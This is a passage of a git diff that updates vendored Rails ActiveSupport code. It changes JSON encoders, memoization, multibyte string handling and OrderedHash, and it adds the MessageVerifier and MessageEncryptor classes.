--- a/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb
@@ -1,6 +1,10 @@
 class Object
   # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
-  def to_json(options = {})
-    ActiveSupport::JSON.encode(instance_values, options)
+  def to_json(options = nil)
+    ActiveSupport::JSON.encode(as_json(options))
+  end
+
+  def as_json(options = nil)
+    instance_values
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb
index b6116b70..14fdbf24 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb
@@ -2,4 +2,8 @@ class Regexp
   def to_json(options = nil) #:nodoc:
     inspect
   end
+
+  def as_json(options = nil) #:nodoc:
+    self
+  end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb
index 5ef79795..697658ec 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb
@@ -1,36 +1,9 @@
-module ActiveSupport
-  module JSON
-    module Encoding
-      mattr_accessor :escape_regex
-
-      ESCAPED_CHARS = {
-        "\010" =>  '\b',
-        "\f"   =>  '\f',
-        "\n"   =>  '\n',
-        "\r"   =>  '\r',
-        "\t"   =>  '\t',
-        '"'    =>  '\"',
-        '\\'   =>  '\\\\',
-        '>'    =>  '\u003E',
-        '<'    =>  '\u003C',
-        '&'    =>  '\u0026'
-      }
-    end
-  end
-end
-
-ActiveSupport.escape_html_entities_in_json = true
-
 class String
   def to_json(options = nil) #:nodoc:
-    json = '"' + gsub(ActiveSupport::JSON::Encoding.escape_regex) { |s|
-      ActiveSupport::JSON::Encoding::ESCAPED_CHARS[s]
-    }
-    json.force_encoding('ascii-8bit') if respond_to?(:force_encoding)
-    json.gsub(/([\xC0-\xDF][\x80-\xBF]|
-             [\xE0-\xEF][\x80-\xBF]{2}|
-             [\xF0-\xF7][\x80-\xBF]{3})+/nx) { |s|
-      s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/, '\\\\u\&')
-    } + '"'
+    ActiveSupport::JSON::Encoding.escape(self)
+  end
+
+  def as_json(options = nil) #:nodoc:
+    self
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb
index 485112f9..f7dcd491 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb
@@ -1,5 +1,5 @@
 class Symbol
-  def to_json(options = {}) #:nodoc:
-    ActiveSupport::JSON.encode(to_s, options)
+  def as_json(options = nil) #:nodoc:
+    to_s
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb
index 09fc6148..fa54e9e3 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb
@@ -1,21 +1,22 @@
 class Time
-  # Returns a JSON string representing the time. If ActiveSupport.use_standard_json_time_format is set to true, the
-  # ISO 8601 format is used.
+  # Coerces the time to a string for JSON encoding.
   #
-  # ==== Examples:
+  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
   #
-  #   # With ActiveSupport.use_standard_json_time_format = true
+  # ==== Examples
+  #
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
   #   Time.utc(2005,2,1,15,15,10).to_json
   #   # => "2005-02-01T15:15:10Z"
   #
-  #   # With ActiveSupport.use_standard_json_time_format = false
+  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
   #   Time.utc(2005,2,1,15,15,10).to_json
   #   # => "2005/02/01 15:15:10 +0000"
-  def to_json(options = nil)
-    if ActiveSupport.use_standard_json_time_format
-      xmlschema.inspect
+  def as_json(options = nil)
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema
     else
-      %("#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)}")
+      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
     end
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb
index 037d812b..4b65dee3 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb
@@ -1,5 +1,7 @@
 class TrueClass
-  def to_json(options = nil) #:nodoc:
-    'true'
+  AS_JSON = ActiveSupport::JSON::Variable.new('true').freeze
+
+  def as_json(options = nil) #:nodoc:
+    AS_JSON
   end
 end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoding.rb b/vendor/rails/activesupport/lib/active_support/json/encoding.rb
index 8650e342..ffd20500 100644
--- a/vendor/rails/activesupport/lib/active_support/json/encoding.rb
+++ b/vendor/rails/activesupport/lib/active_support/json/encoding.rb
@@ -1,37 +1,102 @@
-require 'active_support/json/variable'
-require 'active_support/json/encoders/object' # Require explicitly for rdoc.
-Dir["#{File.dirname(__FILE__)}/encoders/**/*.rb"].each do |file|
-  basename = File.basename(file, '.rb')
-  unless basename == 'object'
-    require "active_support/json/encoders/#{basename}"
-  end
-end
+# encoding: utf-8
+require 'active_support/core_ext/module/delegation'
+require 'active_support/deprecation'
 
 module ActiveSupport
+  class << self
+    delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+      :escape_html_entities_in_json, :escape_html_entities_in_json=,
+      :to => :'ActiveSupport::JSON::Encoding'
+  end
+
   module JSON
-    class CircularReferenceError < StandardError
-    end
+    # matches YAML-formatted dates
+    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
 
     class << self
-      REFERENCE_STACK_VARIABLE = :json_reference_stack #:nodoc:
+      delegate :encode, :to => :'ActiveSupport::JSON::Encoding'
+    end
 
-      # Converts a Ruby object into a JSON string.
-      def encode(value, options = {})
-        raise_on_circular_reference(value) do
-          value.send(:to_json, options)
+    module Encoding #:nodoc:
+      class CircularReferenceError < StandardError
+      end
+
+      ESCAPED_CHARS = {
+        "\010" =>  '\b',
+        "\f"   =>  '\f',
+        "\n"   =>  '\n',
+        "\r"   =>  '\r',
+        "\t"   =>  '\t',
+        '"'    =>  '\"',
+        '\\'   =>  '\\\\',
+        '>'    =>  '\u003E',
+        '<'    =>  '\u003C',
+        '&'    =>  '\u0026' }
+
+      class << self
+        # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
+        attr_accessor :use_standard_json_time_format
+
+        attr_accessor :escape_regex
+        attr_reader :escape_html_entities_in_json
+
+        def escape_html_entities_in_json=(value)
+          self.escape_regex = \
+            if @escape_html_entities_in_json = value
+              /[\010\f\n\r\t"\\><&]/
+            else
+              /[\010\f\n\r\t"\\]/
+            end
+        end
+
+        def escape(string)
+          string = string.dup.force_encoding(::Encoding::BINARY) if string.respond_to?(:force_encoding)
+          json = string.
+            gsub(escape_regex) { |s| ESCAPED_CHARS[s] }.
+            gsub(/([\xC0-\xDF][\x80-\xBF]|
+                   [\xE0-\xEF][\x80-\xBF]{2}|
+                   [\xF0-\xF7][\x80-\xBF]{3})+/nx) { |s|
+            s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/n, '\\\\u\&')
+          }
+          %("#{json}")
+        end
+
+        # Converts a Ruby object into a JSON string.
+        def encode(value, options = nil)
+          options = {} unless Hash === options
+          seen = (options[:seen] ||= [])
+          raise CircularReferenceError, 'object references itself' if seen.include?(value)
+          seen << value
+          value.to_json(options)
+        ensure
+          seen.pop
         end
       end
 
-      protected
-        def raise_on_circular_reference(value) #:nodoc:
-          stack = Thread.current[REFERENCE_STACK_VARIABLE] ||= []
-          raise CircularReferenceError, 'object references itself' if
-            stack.include? value
-          stack << value
-          yield
-        ensure
-          stack.pop
-        end
+      self.escape_html_entities_in_json = true
     end
+
+    CircularReferenceError = Deprecation::DeprecatedConstantProxy.new('ActiveSupport::JSON::CircularReferenceError', Encoding::CircularReferenceError)
   end
 end
+
+# Hack to load json gem first so we can overwrite its to_json.
+begin
+  require 'json'
+rescue LoadError
+end
+
+require 'active_support/json/variable'
+require 'active_support/json/encoders/date'
+require 'active_support/json/encoders/date_time'
+require 'active_support/json/encoders/enumerable'
+require 'active_support/json/encoders/false_class'
+require 'active_support/json/encoders/hash'
+require 'active_support/json/encoders/nil_class'
+require 'active_support/json/encoders/numeric'
+require 'active_support/json/encoders/object'
+require 'active_support/json/encoders/regexp'
+require 'active_support/json/encoders/string'
+require 'active_support/json/encoders/symbol'
+require 'active_support/json/encoders/time'
+require 'active_support/json/encoders/true_class'
diff --git a/vendor/rails/activesupport/lib/active_support/locale/en.yml b/vendor/rails/activesupport/lib/active_support/locale/en.yml
index 92132cac..e604c9ee 100644
--- a/vendor/rails/activesupport/lib/active_support/locale/en.yml
+++ b/vendor/rails/activesupport/lib/active_support/locale/en.yml
@@ -28,5 +28,6 @@ en:
 # Used in array.to_sentence.
   support:
     array:
-      sentence_connector: "and"
-      skip_last_comma: false
+      words_connector: ", "
+      two_words_connector: " and "
+      last_word_connector: ", and "
diff --git a/vendor/rails/activesupport/lib/active_support/memoizable.rb b/vendor/rails/activesupport/lib/active_support/memoizable.rb
index cd5c01cd..9282bab2 100644
--- a/vendor/rails/activesupport/lib/active_support/memoizable.rb
+++ b/vendor/rails/activesupport/lib/active_support/memoizable.rb
@@ -1,10 +1,10 @@
 module ActiveSupport
   module Memoizable
-    MEMOIZED_IVAR = Proc.new do |symbol|
+    def self.memoized_ivar_for(symbol)
       "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym
     end
 
-    module Freezable
+    module InstanceMethods
       def self.included(base)
         base.class_eval do
           unless base.method_defined?(:freeze_without_memoizable)
@@ -19,23 +19,35 @@ module ActiveSupport
       end
 
       def memoize_all
-        methods.each do |m|
-          if m.to_s =~ /^_unmemoized_(.*)/
-            if method(m).arity == 0
-              __send__($1)
-            else
-              ivar = MEMOIZED_IVAR.call($1)
-              instance_variable_set(ivar, {})
+        prime_cache ".*"
+      end
+
+      def unmemoize_all
+        flush_cache ".*"
+      end
+
+      def prime_cache(*syms)
+        syms.each do |sym|
+          methods.each do |m|
+            if m.to_s =~ /^_unmemoized_(#{sym})/
+              if method(m).arity == 0
+                __send__($1)
+              else
+                ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
+                instance_variable_set(ivar, {})
+              end
             end
           end
         end
       end
 
-      def unmemoize_all
-        methods.each do |m|
-          if m.to_s =~ /^_unmemoized_(.*)/
-            ivar = MEMOIZED_IVAR.call($1)
-            instance_variable_get(ivar).clear if instance_variable_defined?(ivar)
+      def flush_cache(*syms, &block)
+        syms.each do |sym|
+          (methods + private_methods + protected_methods).each do |m|
+            if m.to_s =~ /^_unmemoized_(#{sym})/
+              ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
+              instance_variable_get(ivar).clear if instance_variable_defined?(ivar)
+            end
           end
         end
       end
@@ -44,37 +56,43 @@ module ActiveSupport
     def memoize(*symbols)
       symbols.each do |symbol|
         original_method = :"_unmemoized_#{symbol}"
-        memoized_ivar = MEMOIZED_IVAR.call(symbol)
+        memoized_ivar = ActiveSupport::Memoizable.memoized_ivar_for(symbol)
 
         class_eval <<-EOS, __FILE__, __LINE__
-          include Freezable
-
-          raise "Already memoized #{symbol}" if method_defined?(:#{original_method})
-          alias #{original_method} #{symbol}
-
-          if instance_method(:#{symbol}).arity == 0
-            def #{symbol}(reload = false)
-              if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?
-                #{memoized_ivar} = [#{original_method}.freeze]
-              end
-              #{memoized_ivar}[0]
-            end
-          else
-            def #{symbol}(*args)
-              #{memoized_ivar} ||= {} unless frozen?
-              reload = args.pop if args.last == true || args.last == :reload
-
-              if defined?(#{memoized_ivar}) && #{memoized_ivar}
-                if !reload && #{memoized_ivar}.has_key?(args)
-                  #{memoized_ivar}[args]
-                elsif #{memoized_ivar}
-                  #{memoized_ivar}[args] = #{original_method}(*args).freeze
-                end
-              else
-                #{original_method}(*args)
-              end
-            end
-          end
+          include InstanceMethods                                                  # include InstanceMethods
+                                                                                   #
+          if method_defined?(:#{original_method})                                  # if method_defined?(:_unmemoized_mime_type)
+            raise "Already memoized #{symbol}"                                     #   raise "Already memoized mime_type"
+          end                                                                      # end
+          alias #{original_method} #{symbol}                                       # alias _unmemoized_mime_type mime_type
+                                                                                   #
+          if instance_method(:#{symbol}).arity == 0                                # if instance_method(:mime_type).arity == 0
+            def #{symbol}(reload = false)                                          #   def mime_type(reload = false)
+              if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?  #     if reload || !defined?(@_memoized_mime_type) || @_memoized_mime_type.empty?
+                #{memoized_ivar} = [#{original_method}.freeze]                     #       @_memoized_mime_type = [_unmemoized_mime_type.freeze]
+              end                                                                  #     end
+              #{memoized_ivar}[0]                                                  #     @_memoized_mime_type[0]
+            end                                                                    #   end
+          else                                                                     # else
+            def #{symbol}(*args)                                                   #   def mime_type(*args)
+              #{memoized_ivar} ||= {} unless frozen?                               #     @_memoized_mime_type ||= {} unless frozen?
+              reload = args.pop if args.last == true || args.last == :reload       #     reload = args.pop if args.last == true || args.last == :reload
+                                                                                   #
+              if defined?(#{memoized_ivar}) && #{memoized_ivar}                    #     if defined?(@_memoized_mime_type) && @_memoized_mime_type
+                if !reload && #{memoized_ivar}.has_key?(args)                      #       if !reload && @_memoized_mime_type.has_key?(args)
+                  #{memoized_ivar}[args]                                           #         @_memoized_mime_type[args]
+                elsif #{memoized_ivar}                                             #       elsif @_memoized_mime_type
+                  #{memoized_ivar}[args] = #{original_method}(*args).freeze        #         @_memoized_mime_type[args] = _unmemoized_mime_type(*args).freeze
+                end                                                                #       end
+              else                                                                 #     else
+                #{original_method}(*args)                                          #       _unmemoized_mime_type(*args)
+              end                                                                  #     end
+            end                                                                    #   end
+          end                                                                      # end
+                                                                                   #
+          if private_method_defined?(#{original_method.inspect})                   # if private_method_defined?(:_unmemoized_mime_type)
+            private #{symbol.inspect}                                              #   private :mime_type
+          end                                                                      # end
         EOS
       end
     end
diff --git a/vendor/rails/activesupport/lib/active_support/message_encryptor.rb b/vendor/rails/activesupport/lib/active_support/message_encryptor.rb
new file mode 100644
index 00000000..347af9dc
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/message_encryptor.rb
@@ -0,0 +1,70 @@
+require 'openssl'
+
+module ActiveSupport
+  # MessageEncryptor is a simple way to encrypt values which get stored somewhere 
+  # you don't trust.
+  # 
+  # The cipher text and initialization vector are base64 encoded and returned to you.
+  #
+  # This can be used in situations similar to the MessageVerifier, but where you don't
+  # want users to be able to determine the value of the payload.
+  class MessageEncryptor
+    class InvalidMessage < StandardError; end
+    OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
+
+    def initialize(secret, cipher = 'aes-256-cbc')
+      @secret = secret
+      @cipher = cipher
+    end
+    
+    def encrypt(value)
+      cipher = new_cipher
+      # Rely on OpenSSL for the initialization vector
+      iv = cipher.random_iv
+      
+      cipher.encrypt 
+      cipher.key = @secret
+      cipher.iv  = iv
+      
+      encrypted_data = cipher.update(Marshal.dump(value)) 
+      encrypted_data << cipher.final
+
+      [encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--")
+    end
+    
+    def decrypt(encrypted_message)
+      cipher = new_cipher
+      encrypted_data, iv = encrypted_message.split("--").map {|v| ActiveSupport::Base64.decode64(v)}
+      
+      cipher.decrypt
+      cipher.key = @secret
+      cipher.iv  = iv
+
+      decrypted_data = cipher.update(encrypted_data)
+      decrypted_data << cipher.final
+      
+      Marshal.load(decrypted_data)
+    rescue OpenSSLCipherError, TypeError
+      raise InvalidMessage
+    end
+    
+    def encrypt_and_sign(value)
+      verifier.generate(encrypt(value))
+    end
+    
+    def decrypt_and_verify(value)
+      decrypt(verifier.verify(value))
+    end
+    
+    
+    
+    private 
+      def new_cipher
+        OpenSSL::Cipher::Cipher.new(@cipher)
+      end
+      
+      def verifier
+        MessageVerifier.new(@secret)
+      end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/message_verifier.rb b/vendor/rails/activesupport/lib/active_support/message_verifier.rb
new file mode 100644
index 00000000..60587b90
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/message_verifier.rb
@@ -0,0 +1,79 @@
+module ActiveSupport
+  # MessageVerifier makes it easy to generate and verify messages which are signed
+  # to prevent tampering.
+  # 
+  # This is useful for cases like remember-me tokens and auto-unsubscribe links where the
+  # session store isn't suitable or available.
+  #
+  # Remember Me:
+  #   cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
+  # 
+  # In the authentication filter:
+  #
+  #   id, time = @verifier.verify(cookies[:remember_me])
+  #   if time < Time.now
+  #     self.current_user = User.find(id)
+  #   end
+  # 
+  class MessageVerifier
+    class InvalidSignature < StandardError; end
+    
+    def initialize(secret, digest = 'SHA1')
+      @secret = secret
+      @digest = digest
+    end
+    
+    def verify(signed_message)
+      raise InvalidSignature if signed_message.blank?
+
+      data, digest = signed_message.split("--")
+      if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
+        Marshal.load(ActiveSupport::Base64.decode64(data))
+      else
+        raise InvalidSignature
+      end
+    end
+    
+    def generate(value)
+      data = ActiveSupport::Base64.encode64s(Marshal.dump(value))
+      "#{data}--#{generate_digest(data)}"
+    end
+    
+    private
+      if "foo".respond_to?(:force_encoding)
+        # constant-time comparison algorithm to prevent timing attacks
+        def secure_compare(a, b)
+          a = a.dup.force_encoding(Encoding::BINARY)
+          b = b.dup.force_encoding(Encoding::BINARY)
+
+          if a.length == b.length
+            result = 0
+            for i in 0..(a.length - 1)
+              result |= a[i].ord ^ b[i].ord
+            end
+            result == 0
+          else
+            false
+          end
+        end
+      else
+        # For <= 1.8.6
+        def secure_compare(a, b)
+          if a.length == b.length
+            result = 0
+            for i in 0..(a.length - 1)
+              result |= a[i] ^ b[i]
+            end
+            result == 0
+          else
+            false
+          end
+        end
+      end
+
+      def generate_digest(data)
+        require 'openssl' unless defined?(OpenSSL)
+        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), @secret, data)
+      end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte.rb b/vendor/rails/activesupport/lib/active_support/multibyte.rb
index 65a96af4..b6354ee8 100644
--- a/vendor/rails/activesupport/lib/active_support/multibyte.rb
+++ b/vendor/rails/activesupport/lib/active_support/multibyte.rb
@@ -1,9 +1,5 @@
 # encoding: utf-8
 
-require 'active_support/multibyte/chars'
-require 'active_support/multibyte/exceptions'
-require 'active_support/multibyte/unicode_database'
-
 module ActiveSupport #:nodoc:
   module Multibyte
     # A list of all available normalization forms. See http://www.unicode.org/reports/tr15/tr15-29.html for more
@@ -27,7 +23,35 @@ module ActiveSupport #:nodoc:
     #
     # Example:
     #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
-    mattr_accessor :proxy_class
-    self.proxy_class = ActiveSupport::Multibyte::Chars
+    def self.proxy_class=(klass)
+      @proxy_class = klass
+    end
+
+    # Returns the currect proxy class
+    def self.proxy_class
+      @proxy_class ||= ActiveSupport::Multibyte::Chars
+    end
+
+    # Regular expressions that describe valid byte sequences for a character
+    VALID_CHARACTER = {
+      # Borrowed from the Kconv library by Shinji KONO - (also as seen on the W3C site)
+      'UTF-8' => /\A(?:
+                  [\x00-\x7f]                                         |
+                  [\xc2-\xdf] [\x80-\xbf]                             |
+                  \xe0        [\xa0-\xbf] [\x80-\xbf]                 |
+                  [\xe1-\xef] [\x80-\xbf] [\x80-\xbf]                 |
+                  \xf0        [\x90-\xbf] [\x80-\xbf] [\x80-\xbf]     |
+                  [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf]     |
+                  \xf4        [\x80-\x8f] [\x80-\xbf] [\x80-\xbf])\z /xn,
+      # Quick check for valid Shift-JIS characters, disregards the odd-even pairing
+      'Shift_JIS' => /\A(?:
+                  [\x00-\x7e \xa1-\xdf]                                     |
+                  [\x81-\x9f \xe0-\xef] [\x40-\x7e \x80-\x9e \x9f-\xfc])\z /xn
+    }
   end
 end
+
+require 'active_support/multibyte/chars'
+require 'active_support/multibyte/exceptions'
+require 'active_support/multibyte/unicode_database'
+require 'active_support/multibyte/utils'
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb b/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb
index be9c6d35..32d97a66 100644
--- a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb
+++ b/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb
@@ -73,16 +73,7 @@ module ActiveSupport #:nodoc:
       UNICODE_TRAILERS_PAT = /(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+\Z/
       UNICODE_LEADERS_PAT = /\A(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+/
 
-      # Borrowed from the Kconv library by Shinji KONO - (also as seen on the W3C site)
-      UTF8_PAT = /\A(?:
-                     [\x00-\x7f]                                     |
-                     [\xc2-\xdf] [\x80-\xbf]                         |
-                     \xe0        [\xa0-\xbf] [\x80-\xbf]             |
-                     [\xe1-\xef] [\x80-\xbf] [\x80-\xbf]             |
-                     \xf0        [\x90-\xbf] [\x80-\xbf] [\x80-\xbf] |
-                     [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf] |
-                     \xf4        [\x80-\x8f] [\x80-\xbf] [\x80-\xbf]
-                    )*\z/xn
+      UTF8_PAT = ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8']
 
       attr_reader :wrapped_string
       alias to_s wrapped_string
@@ -205,7 +196,22 @@ module ActiveSupport #:nodoc:
       #   'Café périferôl'.mb_chars.index('ô') #=> 12
       #   'Café périferôl'.mb_chars.index(/\w/u) #=> 0
       def index(needle, offset=0)
-        index = @wrapped_string.index(needle, offset)
+        wrapped_offset = self.first(offset).wrapped_string.length
+        index = @wrapped_string.index(needle, wrapped_offset)
+        index ? (self.class.u_unpack(@wrapped_string.slice(0...index)).size) : nil
+      end
+
+      # Returns the position _needle_ in the string, counting in
+      # codepoints, searching backward from _offset_ or the end of the
+      # string. Returns +nil+ if _needle_ isn't found.
+      #
+      # Example:
+      #   'Café périferôl'.mb_chars.rindex('é') #=> 6
+      #   'Café périferôl'.mb_chars.rindex(/\w/u) #=> 13
+      def rindex(needle, offset=nil)
+        offset ||= length
+        wrapped_offset = self.first(offset).wrapped_string.length
+        index = @wrapped_string.rindex(needle, wrapped_offset)
         index ? (self.class.u_unpack(@wrapped_string.slice(0...index)).size) : nil
       end
 
@@ -292,31 +298,31 @@ module ActiveSupport #:nodoc:
       def rstrip
         chars(@wrapped_string.gsub(UNICODE_TRAILERS_PAT, ''))
       end
-      
+
       # Strips entire range of Unicode whitespace from the left of the string.
       def lstrip
         chars(@wrapped_string.gsub(UNICODE_LEADERS_PAT, ''))
       end
-      
+
       # Strips entire range of Unicode whitespace from the right and left of the string.
       def strip
         rstrip.lstrip
       end
-      
+
       # Returns the number of codepoints in the string
       def size
         self.class.u_unpack(@wrapped_string).size
       end
       alias_method :length, :size
-      
+
       # Reverses all characters in the string.
       #
       # Example:
       #   'Café'.mb_chars.reverse.to_s #=> 'éfaC'
       def reverse
-        chars(self.class.u_unpack(@wrapped_string).reverse.pack('U*'))
+        chars(self.class.g_unpack(@wrapped_string).reverse.flatten.pack('U*'))
       end
-      
+
       # Implements Unicode-aware slice with codepoints. Slicing on one point returns the codepoints for that
       # character.
       #
@@ -344,6 +350,26 @@ module ActiveSupport #:nodoc:
       end
       alias_method :[], :slice
 
+      # Like <tt>String#slice!</tt>, except instead of byte offsets you specify character offsets.
+      #
+      # Example:
+      #   s = 'こんにちは'
+      #   s.mb_chars.slice!(2..3).to_s #=> "にち"
+      #   s #=> "こんは"
+      def slice!(*args)
+        slice = self[*args]
+        self[*args] = ''
+        slice
+      end
+
+      # Returns the codepoint of the first character in the string.
+      #
+      # Example:
+      #   'こんにちは'.mb_chars.ord #=> 12371
+      def ord
+        self.class.u_unpack(@wrapped_string)[0]
+      end
+
       # Convert characters in the string to uppercase.
       #
       # Example:
@@ -424,7 +450,7 @@ module ActiveSupport #:nodoc:
         chars(self.class.tidy_bytes(@wrapped_string))
       end
 
-      %w(lstrip rstrip strip reverse upcase downcase slice tidy_bytes capitalize).each do |method|
+      %w(lstrip rstrip strip reverse upcase downcase tidy_bytes capitalize).each do |method|
         define_method("#{method}!") do |*args|
           unless args.nil?
             @wrapped_string = send(method, *args).to_s
@@ -609,7 +635,9 @@ module ActiveSupport #:nodoc:
         # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
         def tidy_bytes(string)
           string.split(//u).map do |c|
-            if !UTF8_PAT.match(c)
+            c.force_encoding(Encoding::ASCII) if c.respond_to?(:force_encoding)
+
+            if !ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8'].match(c)
               n = c.unpack('C')[0]
               n < 128 ? n.chr :
               n < 160 ? [UCD.cp1252[n] || n].pack('U') :
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb b/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb
index 3b8cf8f9..a08f38cd 100644
--- a/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb
+++ b/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb
@@ -24,10 +24,10 @@ module ActiveSupport #:nodoc:
       # Lazy load the Unicode database so it's only loaded when it's actually used
       ATTRIBUTES.each do |attr_name|
         class_eval(<<-EOS, __FILE__, __LINE__)
-          def #{attr_name}
-            load
-            @#{attr_name}
-          end
+          def #{attr_name}  # def codepoints
+            load            #   load
+            @#{attr_name}   #   @codepoints
+          end               # end
         EOS
       end
 
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb b/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb
new file mode 100644
index 00000000..8e47763d
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb
@@ -0,0 +1,61 @@
+# encoding: utf-8
+
+module ActiveSupport #:nodoc:
+  module Multibyte #:nodoc:
+    if Kernel.const_defined?(:Encoding)
+      # Returns a regular expression that matches valid characters in the current encoding
+      def self.valid_character
+        VALID_CHARACTER[Encoding.default_external.to_s]
+      end
+    else
+      def self.valid_character
+        case $KCODE
+        when 'UTF8'
+          VALID_CHARACTER['UTF-8']
+        when 'SJIS'
+          VALID_CHARACTER['Shift_JIS']
+        end
+      end
+    end
+
+    if 'string'.respond_to?(:valid_encoding?)
+      # Verifies the encoding of a string
+      def self.verify(string)
+        string.valid_encoding?
+      end
+    else
+      def self.verify(string)
+        if expression = valid_character
+          for c in string.split(//)
+            return false unless expression.match(c)
+          end
+        end
+        true
+      end
+    end
+
+    # Verifies the encoding of the string and raises an exception when it's not valid
+    def self.verify!(string)
+      raise EncodingError.new("Found characters with invalid encoding") unless verify(string)
+    end
+
+    if 'string'.respond_to?(:force_encoding)
+      # Removes all invalid characters from the string.
+      #
+      # Note: this method is a no-op in Ruby 1.9
+      def self.clean(string)
+        string
+      end
+    else
+      def self.clean(string)
+        if expression = valid_character
+          stripped = []; for c in string.split(//)
+            stripped << c if expression.match(c)
+          end; stripped.join
+        else
+          string
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/option_merger.rb b/vendor/rails/activesupport/lib/active_support/option_merger.rb
index b563b093..63662b75 100644
--- a/vendor/rails/activesupport/lib/active_support/option_merger.rb
+++ b/vendor/rails/activesupport/lib/active_support/option_merger.rb
@@ -10,7 +10,13 @@ module ActiveSupport
 
     private
       def method_missing(method, *arguments, &block)
-        arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+        if arguments.last.is_a?(Proc)
+          proc = arguments.pop
+          arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
+        else
+          arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+        end
+
         @context.__send__(method, *arguments, &block)
       end
   end
diff --git a/vendor/rails/activesupport/lib/active_support/ordered_hash.rb b/vendor/rails/activesupport/lib/active_support/ordered_hash.rb
index 9757054e..b4926486 100644
--- a/vendor/rails/activesupport/lib/active_support/ordered_hash.rb
+++ b/vendor/rails/activesupport/lib/active_support/ordered_hash.rb
@@ -4,55 +4,138 @@ module ActiveSupport
   if RUBY_VERSION >= '1.9'
     OrderedHash = ::Hash
   else
-    class OrderedHash < Array #:nodoc:
-      def []=(key, value)
-        if pair = assoc(key)
-          pair.pop
-          pair << value
-        else
-          self << [key, value]
-        end
-        value
+    class OrderedHash < Hash #:nodoc:
+      def initialize(*args, &block)
+        super
+        @keys = []
       end
 
-      def [](key)
-        pair = assoc(key)
-        pair ? pair.last : nil
+      def self.[](*args)
+        ordered_hash = new
+
+        if (args.length == 1 && args.first.is_a?(Array))
+          args.first.each do |key_value_pair|
